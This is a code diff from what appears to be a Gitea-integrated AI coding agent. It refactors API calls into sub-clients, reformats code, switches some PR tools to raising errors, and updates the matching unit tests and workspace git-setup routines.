repos = self._client.repos.list_all_user_repos()
|
||||||
all_prs: list[dict[str, Any]] = []
|
all_prs: list[dict[str, Any]] = []
|
||||||
for repo_info in repos:
|
for repo_info in repos:
|
||||||
repo_owner = repo_info.owner
|
repo_owner = repo_info.owner
|
||||||
repo_name = repo_info.name
|
repo_name = repo_info.name
|
||||||
prs = self._client.list_assigned_pull_requests(repo_owner, repo_name)
|
prs = self._client.prs.list_assigned_pull_requests(
|
||||||
|
repo_owner, repo_name
|
||||||
|
)
|
||||||
if prs:
|
if prs:
|
||||||
all_prs.extend([pr.model_dump() if hasattr(pr, 'model_dump') else pr for pr in prs])
|
all_prs.extend(
|
||||||
|
[
|
||||||
|
pr.model_dump() if hasattr(pr, "model_dump") else pr
|
||||||
|
for pr in prs
|
||||||
|
]
|
||||||
|
)
|
||||||
return all_prs
|
return all_prs
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Error listing assigned pull requests: {e}", exc_info=True)
|
logger.error(f"Error listing assigned pull requests: {e}", exc_info=True)
|
||||||
@@ -102,7 +109,7 @@ class PRTools:
|
|||||||
|
|
||||||
def list_pull_requests(self, owner: str, repo: str, state: str = "open") -> str:
|
def list_pull_requests(self, owner: str, repo: str, state: str = "open") -> str:
|
||||||
try:
|
try:
|
||||||
prs = self._client.list_repo_pull_requests(owner, repo, state)
|
prs = self._client.prs.list_repo_pull_requests(owner, repo, state)
|
||||||
if not prs:
|
if not prs:
|
||||||
return f"No PRs in {owner}/{repo}."
|
return f"No PRs in {owner}/{repo}."
|
||||||
summary = [f"#{pr.number}: {pr.title}" for pr in prs]
|
summary = [f"#{pr.number}: {pr.title}" for pr in prs]
|
||||||
@@ -110,12 +117,22 @@ class PRTools:
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error listing PRs: {str(e)}"
|
return f"Error listing PRs: {str(e)}"
|
||||||
|
|
||||||
def create_pull_request(self, owner: str, repo: str, head: str, base: str, title: str, description: str = "") -> str:
|
def create_pull_request(
|
||||||
|
self,
|
||||||
|
owner: str,
|
||||||
|
repo: str,
|
||||||
|
head: str,
|
||||||
|
base: str,
|
||||||
|
title: str,
|
||||||
|
description: str = "",
|
||||||
|
) -> PullRequestModel:
|
||||||
try:
|
try:
|
||||||
pr = self._client.create_pr_via_tea(owner, repo, title, description, head, base)
|
return self._client.prs.create_pr_via_tea(
|
||||||
return pr.model_dump_json(indent=2)
|
owner, repo, title, description, head, base
|
||||||
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error creating PR: {str(e)}"
|
logger.error(f"Error creating PR in {owner}/{repo}: {e}", exc_info=True)
|
||||||
|
raise
|
||||||
|
|
||||||
def update_pull_request(
|
def update_pull_request(
|
||||||
self,
|
self,
|
||||||
@@ -125,16 +142,18 @@ class PRTools:
|
|||||||
title: str | None = None,
|
title: str | None = None,
|
||||||
body: str | None = None,
|
body: str | None = None,
|
||||||
state: str | None = None,
|
state: str | None = None,
|
||||||
) -> str:
|
) -> PullRequestModel:
|
||||||
try:
|
try:
|
||||||
pr = self._client.update_pull_request(owner, repo, pull_number, title, body, state)
|
return self._client.prs.update_pull_request(
|
||||||
return pr.model_dump_json(indent=2)
|
owner, repo, pull_number, title, body, state
|
||||||
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error updating PR #{pull_number}: {str(e)}"
|
logger.error(f"Error updating PR #{pull_number}: {e}", exc_info=True)
|
||||||
|
raise
|
||||||
|
|
||||||
def add_label_to_pr(self, owner: str, repo: str, pr_number: int, label: str) -> str:
|
def add_label_to_pr(self, owner: str, repo: str, pr_number: int, label: str) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.add_label_pr(owner, repo, pr_number, label)
|
self._client.prs.add_label_pr(owner, repo, pr_number, label)
|
||||||
return f"Label '{label}' added to PR #{pr_number}."
|
return f"Label '{label}' added to PR #{pr_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error adding label to PR #{pr_number}: {e}"
|
return f"Error adding label to PR #{pr_number}: {e}"
|
||||||
@@ -155,7 +174,7 @@ class PRTools:
|
|||||||
Increment by max_chars to page through a large diff.
|
Increment by max_chars to page through a large diff.
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
diff: str = self._client.get_pull_request_diff(owner, repo, pull_number)
|
diff: str = self._client.prs.get_pull_request_diff(owner, repo, pull_number)
|
||||||
return _truncate_diff(diff, max_chars, char_offset)
|
return _truncate_diff(diff, max_chars, char_offset)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error getting PR diff: {str(e)}"
|
return f"Error getting PR diff: {str(e)}"
|
||||||
@@ -176,21 +195,27 @@ class PRTools:
|
|||||||
Increment by max_chars to page through a large patch.
|
Increment by max_chars to page through a large patch.
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
patch: str = self._client.get_pull_request_patch(owner, repo, pull_number)
|
patch: str = self._client.prs.get_pull_request_patch(
|
||||||
|
owner, repo, pull_number
|
||||||
|
)
|
||||||
return _truncate_diff(patch, max_chars, char_offset)
|
return _truncate_diff(patch, max_chars, char_offset)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error getting PR patch: {str(e)}"
|
return f"Error getting PR patch: {str(e)}"
|
||||||
|
|
||||||
def approve_pull_request(self, owner: str, repo: str, pull_number: int, comment: str) -> str:
|
def approve_pull_request(
|
||||||
|
self, owner: str, repo: str, pull_number: int, comment: str
|
||||||
|
) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.approve_pr(owner, repo, pull_number, comment)
|
self._client.prs.approve_pr(owner, repo, pull_number, comment)
|
||||||
return f"Approved PR #{pull_number}."
|
return f"Approved PR #{pull_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error approving PR: {str(e)}"
|
return f"Error approving PR: {str(e)}"
|
||||||
|
|
||||||
def request_changes(self, owner: str, repo: str, pull_number: int, comment: str) -> str:
|
def request_changes(
|
||||||
|
self, owner: str, repo: str, pull_number: int, comment: str
|
||||||
|
) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.request_changes_pr(owner, repo, pull_number, comment)
|
self._client.prs.request_changes_pr(owner, repo, pull_number, comment)
|
||||||
return f"Requested changes on PR #{pull_number}."
|
return f"Requested changes on PR #{pull_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error requesting changes: {str(e)}"
|
return f"Error requesting changes: {str(e)}"
|
||||||
|
|||||||
+64
-21
@@ -21,7 +21,7 @@ class WorkspaceManager:
|
|||||||
def _configure_repo_user(self, repo_path: Path) -> None:
|
def _configure_repo_user(self, repo_path: Path) -> None:
|
||||||
try:
|
try:
|
||||||
client = GiteaClient()
|
client = GiteaClient()
|
||||||
user = client.get_authenticated_user()
|
user = client.repos.get_authenticated_user()
|
||||||
if not user or not user.login:
|
if not user or not user.login:
|
||||||
raise RuntimeError("No authenticated user found.")
|
raise RuntimeError("No authenticated user found.")
|
||||||
username: str = user.login
|
username: str = user.login
|
||||||
@@ -32,19 +32,29 @@ class WorkspaceManager:
|
|||||||
|
|
||||||
# Configure extraHeader locally for the repo
|
# Configure extraHeader locally for the repo
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "config", "http.extraHeader", f"Authorization: Basic {auth_b64}"],
|
[
|
||||||
check=True, capture_output=True
|
"git",
|
||||||
|
"-C",
|
||||||
|
str(repo_path),
|
||||||
|
"config",
|
||||||
|
"http.extraHeader",
|
||||||
|
f"Authorization: Basic {auth_b64}",
|
||||||
|
],
|
||||||
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
|
|
||||||
name: str = user.full_name or user.login
|
name: str = user.full_name or user.login
|
||||||
email: str = user.email or f"{user.login}@noreply.gitea"
|
email: str = user.email or f"{user.login}@noreply.gitea"
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "config", "user.name", name],
|
["git", "-C", str(repo_path), "config", "user.name", name],
|
||||||
check=True, capture_output=True
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "config", "user.email", email],
|
["git", "-C", str(repo_path), "config", "user.email", email],
|
||||||
check=True, capture_output=True
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Error configuring local git user: {e}")
|
logger.error(f"Error configuring local git user: {e}")
|
||||||
@@ -64,59 +74,84 @@ class WorkspaceManager:
|
|||||||
auth_url = self._get_authenticated_url(repo_full_name)
|
auth_url = self._get_authenticated_url(repo_full_name)
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "remote", "set-url", "origin", auth_url],
|
["git", "-C", str(repo_path), "remote", "set-url", "origin", auth_url],
|
||||||
check=True, capture_output=True,
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
self._configure_repo_user(repo_path)
|
self._configure_repo_user(repo_path)
|
||||||
|
|
||||||
# Check for any uncommitted changes or untracked files
|
# Check for any uncommitted changes or untracked files
|
||||||
status_res = subprocess.run(
|
status_res = subprocess.run(
|
||||||
["git", "-C", str(repo_path), "status", "--porcelain"],
|
["git", "-C", str(repo_path), "status", "--porcelain"],
|
||||||
check=True, capture_output=True, text=True
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
)
|
)
|
||||||
if status_res.stdout.strip():
|
if status_res.stdout.strip():
|
||||||
logger.info(f"Uncommitted changes detected in {repo_path}. Stashing before sanitization.")
|
logger.info(
|
||||||
|
f"Uncommitted changes detected in {repo_path}. Stashing before sanitization."
|
||||||
|
)
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "stash", "push", "-u", "-m", "Auto-backup before agent sanitization"],
|
[
|
||||||
check=True, capture_output=True
|
"git",
|
||||||
|
"-C",
|
||||||
|
str(repo_path),
|
||||||
|
"stash",
|
||||||
|
"push",
|
||||||
|
"-u",
|
||||||
|
"-m",
|
||||||
|
"Auto-backup before agent sanitization",
|
||||||
|
],
|
||||||
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
|
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "reset", "--hard", "HEAD"],
|
["git", "-C", str(repo_path), "reset", "--hard", "HEAD"],
|
||||||
check=True, capture_output=True,
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "clean", "-fdx"],
|
["git", "-C", str(repo_path), "clean", "-fdx"],
|
||||||
check=True, capture_output=True,
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "checkout", "main"],
|
["git", "-C", str(repo_path), "checkout", "main"],
|
||||||
check=True, capture_output=True,
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
except subprocess.CalledProcessError:
|
except subprocess.CalledProcessError:
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "checkout", "master"],
|
["git", "-C", str(repo_path), "checkout", "master"],
|
||||||
check=True, capture_output=True,
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "pull", "origin", "main"],
|
["git", "-C", str(repo_path), "pull", "origin", "main"],
|
||||||
check=True, capture_output=True,
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
except subprocess.CalledProcessError:
|
except subprocess.CalledProcessError:
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "-C", str(repo_path), "pull", "origin", "master"],
|
["git", "-C", str(repo_path), "pull", "origin", "master"],
|
||||||
check=True, capture_output=True,
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Error during sanitization: {e}", exc_info=True)
|
logger.error(f"Error during sanitization: {e}", exc_info=True)
|
||||||
raise RuntimeError(f"Failed to sanitize repository {repo_full_name} at {repo_path}: {e}") from e
|
raise RuntimeError(
|
||||||
|
f"Failed to sanitize repository {repo_full_name} at {repo_path}: {e}"
|
||||||
|
) from e
|
||||||
|
|
||||||
def clone_repo(self, repo_full_name: str, clone_url: str | None = None) -> Path:
|
def clone_repo(self, repo_full_name: str, clone_url: str | None = None) -> Path:
|
||||||
repo_path: Path = self.get_repo_path(repo_full_name)
|
repo_path: Path = self.get_repo_path(repo_full_name)
|
||||||
if repo_path.exists():
|
if repo_path.exists():
|
||||||
if not (repo_path / ".git").exists():
|
if not (repo_path / ".git").exists():
|
||||||
new_path: Path = repo_path.parent / f"{repo_full_name.replace('/', '_')}_old"
|
new_path: Path = (
|
||||||
|
repo_path.parent / f"{repo_full_name.replace('/', '_')}_old"
|
||||||
|
)
|
||||||
if new_path.exists():
|
if new_path.exists():
|
||||||
shutil.rmtree(new_path)
|
shutil.rmtree(new_path)
|
||||||
repo_path.rename(new_path)
|
repo_path.rename(new_path)
|
||||||
@@ -126,7 +161,7 @@ class WorkspaceManager:
|
|||||||
auth_url = self._get_authenticated_url(repo_full_name)
|
auth_url = self._get_authenticated_url(repo_full_name)
|
||||||
|
|
||||||
client = GiteaClient()
|
client = GiteaClient()
|
||||||
user = client.get_authenticated_user()
|
user = client.repos.get_authenticated_user()
|
||||||
if not user or not user.login:
|
if not user or not user.login:
|
||||||
raise RuntimeError("No authenticated user found.")
|
raise RuntimeError("No authenticated user found.")
|
||||||
username: str = user.login
|
username: str = user.login
|
||||||
@@ -135,8 +170,16 @@ class WorkspaceManager:
|
|||||||
auth_bytes: bytes = auth_str.encode("utf-8")
|
auth_bytes: bytes = auth_str.encode("utf-8")
|
||||||
auth_b64: str = base64.b64encode(auth_bytes).decode("utf-8")
|
auth_b64: str = base64.b64encode(auth_bytes).decode("utf-8")
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["git", "clone", "-c", f"http.extraHeader=Authorization: Basic {auth_b64}", auth_url, str(repo_path)],
|
[
|
||||||
check=True, capture_output=True
|
"git",
|
||||||
|
"clone",
|
||||||
|
"-c",
|
||||||
|
f"http.extraHeader=Authorization: Basic {auth_b64}",
|
||||||
|
auth_url,
|
||||||
|
str(repo_path),
|
||||||
|
],
|
||||||
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
)
|
)
|
||||||
self._configure_repo_user(repo_path)
|
self._configure_repo_user(repo_path)
|
||||||
return repo_path
|
return repo_path
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ from gitea.tools.issue_tools import IssueTools
|
|||||||
from gitea.tools.pr_tools import PRTools
|
from gitea.tools.pr_tools import PRTools
|
||||||
from gitea.tools.file_tools import FileTools
|
from gitea.tools.file_tools import FileTools
|
||||||
from gitea.tools.git_tools import GitTools
|
from gitea.tools.git_tools import GitTools
|
||||||
from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES
|
from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES, GITEA_REPOS_ROOT
|
||||||
from core.orchestrator import AgentOrchestrator
|
from core.orchestrator import AgentOrchestrator
|
||||||
|
|
||||||
import json
|
import json
|
||||||
@@ -61,7 +61,7 @@ async def main() -> None:
|
|||||||
# Initialize Gitea components
|
# Initialize Gitea components
|
||||||
client: GiteaClient = GiteaClient()
|
client: GiteaClient = GiteaClient()
|
||||||
try:
|
try:
|
||||||
user = client.get_authenticated_user()
|
user = client.repos.get_authenticated_user()
|
||||||
if not user or not user.login:
|
if not user or not user.login:
|
||||||
raise RuntimeError("No authenticated user found.")
|
raise RuntimeError("No authenticated user found.")
|
||||||
logger.info(f"Authenticated as user: {user.login}")
|
logger.info(f"Authenticated as user: {user.login}")
|
||||||
@@ -73,7 +73,7 @@ async def main() -> None:
|
|||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(client)
|
issue_tools: IssueTools = IssueTools(client)
|
||||||
pr_tools: PRTools = PRTools(client)
|
pr_tools: PRTools = PRTools(client)
|
||||||
file_tools: FileTools = FileTools(client)
|
file_tools: FileTools = FileTools(client, GITEA_REPOS_ROOT)
|
||||||
git_tools: GitTools = GitTools(client)
|
git_tools: GitTools = GitTools(client)
|
||||||
model_name: str = AGENT_MODEL_ID
|
model_name: str = AGENT_MODEL_ID
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ from gitea.tools.coding_tools import CodingTools
|
|||||||
from core.dispatcher import AgentDispatcher
|
from core.dispatcher import AgentDispatcher
|
||||||
from core.queue import WorkItem
|
from core.queue import WorkItem
|
||||||
from gitea.client import GiteaClient
|
from gitea.client import GiteaClient
|
||||||
from gitea.tools.gitea_tools import GiteaTools
|
|
||||||
from gitea.models import IssueModel, PullRequestModel
|
from gitea.models import IssueModel, PullRequestModel
|
||||||
|
|
||||||
pytestmark = pytest.mark.anyio
|
pytestmark = pytest.mark.anyio
|
||||||
@@ -96,12 +95,16 @@ def test_run_verification_failure(tmp_path: Path) -> None:
|
|||||||
@patch("core.dispatcher.CodingAgent")
|
@patch("core.dispatcher.CodingAgent")
|
||||||
@patch("core.dispatcher.PlanningAgent")
|
@patch("core.dispatcher.PlanningAgent")
|
||||||
async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMock, mock_coding_class: MagicMock) -> None:
|
async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMock, mock_coding_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
|
||||||
|
# Mock sub-clients
|
||||||
|
mock_client.prs = MagicMock()
|
||||||
|
mock_client.issues = MagicMock()
|
||||||
|
mock_client.notifications = MagicMock()
|
||||||
|
|
||||||
# Mock no existing PRs
|
# Mock no existing PRs
|
||||||
mock_client.list_repo_pull_requests.return_value = []
|
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||||
mock_client.get_issue_comments.return_value = []
|
mock_client.issues.get_issue_comments.return_value = []
|
||||||
|
|
||||||
from gitea.models import UserModel
|
from gitea.models import UserModel
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
@@ -110,13 +113,14 @@ async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMoc
|
|||||||
number=42,
|
number=42,
|
||||||
title="fix bug",
|
title="fix bug",
|
||||||
body="bug details",
|
body="bug details",
|
||||||
user=UserModel(login="unknown-ai")
|
user=UserModel(login="unknown-ai"),
|
||||||
|
requested_reviewers=[UserModel(login="unknown-ai")],
|
||||||
)
|
)
|
||||||
mock_client.get_pull_request.return_value = mock_pr
|
mock_client.prs.get_pull_request.return_value = mock_pr
|
||||||
mock_client.get_pull_request_diff.return_value = "diff"
|
mock_client.prs.get_pull_request_diff.return_value = "diff"
|
||||||
mock_client.get_pull_request_comments.return_value = []
|
mock_client.prs.get_pull_request_comments.return_value = []
|
||||||
mock_client.get_pull_request_files.return_value = []
|
mock_client.prs.get_pull_request_files.return_value = []
|
||||||
mock_client.get_pr_reviews.return_value = []
|
mock_client.prs.get_pr_reviews.return_value = []
|
||||||
|
|
||||||
# Mock agent instances
|
# Mock agent instances
|
||||||
mock_planning_agent = MagicMock()
|
mock_planning_agent = MagicMock()
|
||||||
@@ -127,7 +131,18 @@ async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMoc
|
|||||||
mock_coding_agent.run_with_tools = AsyncMock(return_value="PR #1 Created")
|
mock_coding_agent.run_with_tools = AsyncMock(return_value="PR #1 Created")
|
||||||
mock_coding_class.return_value = mock_coding_agent
|
mock_coding_class.return_value = mock_coding_agent
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
from gitea.tools.issue_tools import IssueTools
|
||||||
|
from gitea.tools.pr_tools import PRTools
|
||||||
|
from gitea.tools.file_tools import FileTools
|
||||||
|
from gitea.tools.git_tools import GitTools
|
||||||
|
|
||||||
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=IssueTools(mock_client),
|
||||||
|
pr_tools=PRTools(mock_client),
|
||||||
|
file_tools=FileTools(mock_client),
|
||||||
|
git_tools=GitTools(mock_client),
|
||||||
|
)
|
||||||
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
|
|||||||
+44
-20
@@ -11,7 +11,7 @@ def test_gitea_client_list_repo_issues() -> None:
|
|||||||
mock_get.return_value = mock_response
|
mock_get.return_value = mock_response
|
||||||
|
|
||||||
# Test default parameter ("open")
|
# Test default parameter ("open")
|
||||||
client.list_repo_issues("owner", "repo")
|
client.issues.list_repo_issues("owner", "repo")
|
||||||
mock_get.assert_called_once()
|
mock_get.assert_called_once()
|
||||||
args, _ = mock_get.call_args
|
args, _ = mock_get.call_args
|
||||||
assert "type=issues" in args[0]
|
assert "type=issues" in args[0]
|
||||||
@@ -20,7 +20,7 @@ def test_gitea_client_list_repo_issues() -> None:
|
|||||||
mock_get.reset_mock()
|
mock_get.reset_mock()
|
||||||
|
|
||||||
# Test custom parameter ("closed")
|
# Test custom parameter ("closed")
|
||||||
client.list_repo_issues("owner", "repo", state="closed")
|
client.issues.list_repo_issues("owner", "repo", state="closed")
|
||||||
mock_get.assert_called_once()
|
mock_get.assert_called_once()
|
||||||
args, _ = mock_get.call_args
|
args, _ = mock_get.call_args
|
||||||
assert "type=issues" in args[0]
|
assert "type=issues" in args[0]
|
||||||
@@ -36,7 +36,7 @@ def test_gitea_client_list_repo_pull_requests() -> None:
|
|||||||
mock_get.return_value = mock_response
|
mock_get.return_value = mock_response
|
||||||
|
|
||||||
# Test default parameter ("open")
|
# Test default parameter ("open")
|
||||||
client.list_repo_pull_requests("owner", "repo")
|
client.prs.list_repo_pull_requests("owner", "repo")
|
||||||
mock_get.assert_called_once()
|
mock_get.assert_called_once()
|
||||||
args, _ = mock_get.call_args
|
args, _ = mock_get.call_args
|
||||||
assert "state=open" in args[0]
|
assert "state=open" in args[0]
|
||||||
@@ -44,7 +44,7 @@ def test_gitea_client_list_repo_pull_requests() -> None:
|
|||||||
mock_get.reset_mock()
|
mock_get.reset_mock()
|
||||||
|
|
||||||
# Test custom parameter ("closed")
|
# Test custom parameter ("closed")
|
||||||
client.list_repo_pull_requests("owner", "repo", state="closed")
|
client.prs.list_repo_pull_requests("owner", "repo", state="closed")
|
||||||
mock_get.assert_called_once()
|
mock_get.assert_called_once()
|
||||||
args, _ = mock_get.call_args
|
args, _ = mock_get.call_args
|
||||||
assert "state=closed" in args[0]
|
assert "state=closed" in args[0]
|
||||||
@@ -55,14 +55,17 @@ def test_gitea_client_list_assigned_issues() -> None:
|
|||||||
user_mock: MagicMock = MagicMock()
|
user_mock: MagicMock = MagicMock()
|
||||||
user_mock.login = "testuser"
|
user_mock.login = "testuser"
|
||||||
|
|
||||||
with patch.object(client, "get_authenticated_user", return_value=user_mock), \
|
with (
|
||||||
patch("httpx.Client.get") as mock_get:
|
patch.object(client.repos, "get_authenticated_user", return_value=user_mock),
|
||||||
|
patch.object(client.issues, "_get_user", return_value=user_mock),
|
||||||
|
patch("httpx.Client.get") as mock_get,
|
||||||
|
):
|
||||||
mock_response: MagicMock = MagicMock()
|
mock_response: MagicMock = MagicMock()
|
||||||
mock_response.status_code = 200
|
mock_response.status_code = 200
|
||||||
mock_response.json.return_value = []
|
mock_response.json.return_value = []
|
||||||
mock_get.return_value = mock_response
|
mock_get.return_value = mock_response
|
||||||
|
|
||||||
client.list_assigned_issues("owner", "repo")
|
client.issues.list_assigned_issues("owner", "repo")
|
||||||
mock_get.assert_called_once()
|
mock_get.assert_called_once()
|
||||||
args, _ = mock_get.call_args
|
args, _ = mock_get.call_args
|
||||||
assert "type=issues" in args[0]
|
assert "type=issues" in args[0]
|
||||||
@@ -74,18 +77,36 @@ def test_gitea_client_list_assigned_pull_requests() -> None:
|
|||||||
user_mock: MagicMock = MagicMock()
|
user_mock: MagicMock = MagicMock()
|
||||||
user_mock.login = "testuser"
|
user_mock.login = "testuser"
|
||||||
|
|
||||||
with patch.object(client, "get_authenticated_user", return_value=user_mock), \
|
with (
|
||||||
patch("httpx.Client.get") as mock_get:
|
patch.object(client.repos, "get_authenticated_user", return_value=user_mock),
|
||||||
|
patch.object(client.prs, "_get_user", return_value=user_mock),
|
||||||
|
patch("httpx.Client.get") as mock_get,
|
||||||
|
):
|
||||||
mock_response: MagicMock = MagicMock()
|
mock_response: MagicMock = MagicMock()
|
||||||
mock_response.status_code = 200
|
mock_response.status_code = 200
|
||||||
mock_response.json.return_value = [
|
mock_response.json.return_value = [
|
||||||
{"number": 1, "title": "PR 1", "assignee": {"login": "testuser"}, "user": {"login": "otheruser"}},
|
{
|
||||||
{"number": 2, "title": "PR 2", "assignee": None, "user": {"login": "testuser"}},
|
"number": 1,
|
||||||
{"number": 3, "title": "PR 3", "assignee": {"login": "otheruser"}, "user": {"login": "otheruser"}}
|
"title": "PR 1",
|
||||||
|
"assignee": {"login": "testuser"},
|
||||||
|
"user": {"login": "otheruser"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"number": 2,
|
||||||
|
"title": "PR 2",
|
||||||
|
"assignee": None,
|
||||||
|
"user": {"login": "testuser"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"number": 3,
|
||||||
|
"title": "PR 3",
|
||||||
|
"assignee": {"login": "otheruser"},
|
||||||
|
"user": {"login": "otheruser"},
|
||||||
|
},
|
||||||
]
|
]
|
||||||
mock_get.return_value = mock_response
|
mock_get.return_value = mock_response
|
||||||
|
|
||||||
res = client.list_assigned_pull_requests("owner", "repo")
|
res = client.prs.list_assigned_pull_requests("owner", "repo")
|
||||||
mock_get.assert_called_once()
|
mock_get.assert_called_once()
|
||||||
assert len(res) == 2
|
assert len(res) == 2
|
||||||
numbers = [pr.number for pr in res]
|
numbers = [pr.number for pr in res]
|
||||||
@@ -106,7 +127,7 @@ def test_gitea_client_list_unread_notifications() -> None:
|
|||||||
mock_get.return_value = mock_response
|
mock_get.return_value = mock_response
|
||||||
|
|
||||||
# Test without since
|
# Test without since
|
||||||
res = client.list_unread_notifications()
|
res = client.notifications.list_unread_notifications()
|
||||||
mock_get.assert_called_once()
|
mock_get.assert_called_once()
|
||||||
_, kwargs = mock_get.call_args
|
_, kwargs = mock_get.call_args
|
||||||
assert kwargs.get("params") == {"all": "false"}
|
assert kwargs.get("params") == {"all": "false"}
|
||||||
@@ -116,20 +137,23 @@ def test_gitea_client_list_unread_notifications() -> None:
|
|||||||
mock_get.reset_mock()
|
mock_get.reset_mock()
|
||||||
|
|
||||||
# Test with since
|
# Test with since
|
||||||
res = client.list_unread_notifications(since="2026-06-30T21:41:16+02:00")
|
res = client.notifications.list_unread_notifications(
|
||||||
|
since="2026-06-30T21:41:16+02:00"
|
||||||
|
)
|
||||||
mock_get.assert_called_once()
|
mock_get.assert_called_once()
|
||||||
_, kwargs = mock_get.call_args
|
_, kwargs = mock_get.call_args
|
||||||
assert kwargs.get("params") == {"all": "false", "since": "2026-06-30T21:41:16+02:00"}
|
assert kwargs.get("params") == {
|
||||||
|
"all": "false",
|
||||||
|
"since": "2026-06-30T21:41:16+02:00",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
import pytest
|
import pytest
|
||||||
|
|
||||||
|
|
||||||
def test_gitea_client_get_authenticated_user_failure() -> None:
|
def test_gitea_client_get_authenticated_user_failure() -> None:
|
||||||
client: GiteaClient = GiteaClient()
|
client: GiteaClient = GiteaClient()
|
||||||
with patch("httpx.Client.get") as mock_get:
|
with patch("httpx.Client.get") as mock_get:
|
||||||
mock_get.side_effect = Exception("Connection error")
|
mock_get.side_effect = Exception("Connection error")
|
||||||
with pytest.raises(RuntimeError, match="Could not get authenticated user"):
|
with pytest.raises(RuntimeError, match="Could not get authenticated user"):
|
||||||
client.get_authenticated_user()
|
client.repos.get_authenticated_user()
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+220
-108
@@ -2,16 +2,19 @@ import pytest
|
|||||||
from unittest.mock import MagicMock, AsyncMock, patch, ANY
|
from unittest.mock import MagicMock, AsyncMock, patch, ANY
|
||||||
from core.dispatcher import AgentDispatcher
|
from core.dispatcher import AgentDispatcher
|
||||||
from core.queue import WorkItem
|
from core.queue import WorkItem
|
||||||
from gitea.client import GiteaClient
|
|
||||||
from gitea.tools.gitea_tools import GiteaTools
|
|
||||||
from gitea.models import PullRequestModel, IssueModel, CommentModel, UserModel
|
from gitea.models import PullRequestModel, IssueModel, CommentModel, UserModel
|
||||||
|
|
||||||
pytestmark = pytest.mark.anyio
|
pytestmark = pytest.mark.anyio
|
||||||
|
|
||||||
|
|
||||||
async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
|
||||||
|
# Mock sub-clients
|
||||||
|
mock_client.prs = MagicMock()
|
||||||
|
mock_client.issues = MagicMock()
|
||||||
|
